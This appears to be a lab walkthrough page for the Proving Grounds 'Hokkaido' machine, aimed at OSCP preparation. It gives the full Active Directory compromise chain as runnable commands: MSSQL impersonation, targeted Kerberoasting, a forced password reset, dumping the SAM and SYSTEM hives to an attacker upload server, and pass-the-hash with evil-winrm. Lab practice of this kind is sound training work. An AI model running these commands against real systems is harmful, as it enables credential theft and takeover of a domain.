> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/walkthroughs/pg-practice/hokkaido/1433.md).

# 1433

Now trying mssql with discovery creds from \[\[445]]

```
nxc mssql hokkaido-aerospace.com -u discovery -p 'Start123!'
```

![](/files/HL5gpLJd9KXLn0Lg6yUb)

Now we can login to mssql:

```
mssqlclient.py discovery@hokkaido-aerospace.com -windows-auth
```

Now we have a database called hrappdb which we can't access![](/files/1NDZT2DEIb8il8cCVv2p)

Now checking for impersonation:

```
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
```

![](/files/WBGgpowqBv4oca0jD2UG)

```
EXECUTE AS LOGIN = 'hrappdb-reader' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin')
```

Now we are `hrappdb-reader` ![](/files/3sgmijgZ86VFyV1leJdd)

Now checking databases:

```
SELECT name FROM master.dbo.sysdatabases
```

![](/files/bVHeCCUgHDqiZVo0iNp2) Checking all tables:

```
SELECT * FROM hrappdb.INFORMATION_SCHEMA.TABLES;
```

![](/files/84XqVNSxIsPTtr3vx368)

```
select * from sysauth;
```

![](/files/Wzam6dZ3ooSPZ14RShy6)

Now verifying credentials: ![](/files/6OUTyWOv7WN5zZObMMWj) It is valid.

Now running bloodhound digestor:

```
bloodhound.py -u 'hrapp-service' -p 'Untimed$Runny' -ns 192.168.218.40 -d hokkaido-aerospace.com -c all --zip
```

Now in bloodhound checking outbound transitive object control for hrapp-service: ![](/files/homdPnwLOlW8j4Uui55z) We have genericWrite over hazel. Now to get hashes:

```
targetedKerberoast.py -v -d 'hokkaido-aerospace.com' -u 'hrapp-service' -p 'Untimed$Runny'
```

![](/files/SxPDtKS5kHFJZQQuNHc0) We got hashes for maintenence,hazel and discover

Trying to crack we got creds only for hazel: ![](/files/XkgWbb09OTOqAS4oWQqz) ![](/files/ERhIfr1L8OVTjNJcGSS8)

RERUN BLOODHOUND AS HAZEL:

```
bloodhound.py -u 'Hazel.Green' -p 'haze1988' -ns 192.168.218.40 -d hokkaido-aerospace.com -c all --zip
```

Now in bloodhound we can check hazel outbound transitive object control: ![](/files/GKr5mSPjOF19HyM7GeR7) We can see that Hazel is a member of TIER2-ADMINS and IT.

Checking member of IT: ![](/files/8wOEMQUs8QiI00Y7WdcN) We have 3 members:

Molly.Smith: ![](/files/7wYEVTBJWpKwtiWHYU9N)

Alexandra.Little: ![](/files/ciq2IMAfFVAelLQK9JqF)

We can see Molly has more rights.

Now checking Shortest path to domain admin: ![](/files/dbmHJdf7NRSTdrgoKlc0)

Now resetting Molly's password:

```
net rpc password "molly.smith" "Password123@" -U "hokkaido-aerospace.com"/"Hazel.Green"%"haze1988" -S "dc.hokkaido-aerospace.com"
```

Now we can use rdp: ![](/files/6iq3IXxQneH1vjXnvDk3)

```
xfreerdp /u:molly.smith /p:'Password123@' /v:hokkaido-aerospace.com /cert-ignore /compression /auto-reconnect
```

Connect using xfreerdp: ![](/files/rFwB8WT4lUEmfJLGy5gw) We are molly.smith now

Now running command prompt as administrator with molly's creds: ![](/files/Q4E63nOZUwjilnzk2bdl)

Now we can use our SeBackupPrivilege to Privesc:

```
cd c:\
reg save hklm\sam c:\Temp\sam\
reg save hklm\system c:\Temp\system
```

Now we have sam and system in Temp directory.

Now start a python upload server on kali:

```
python3 -m uploadserver 80
```

Now upload sam ans system by visiting edge on windows target.

Now use secretsdump.py:

```
secretsdump.py LOCAL -sam sam -system system
```

Now we have hashes for administrator: ![](/files/2A2O5g8uxHcd29iHNLuc)

Now we have pwned it: ![](/files/wOVyp0TcvtbcH4I2ELAh)

Now we can login with evil-winrm:

```
evil-winrm -i hokkaido-aerospace.com -u Administrator -H 'd752482897d54e239376fddb2a2109e4'
```

![](/files/m71q6FV5hMUFJymA4DbE)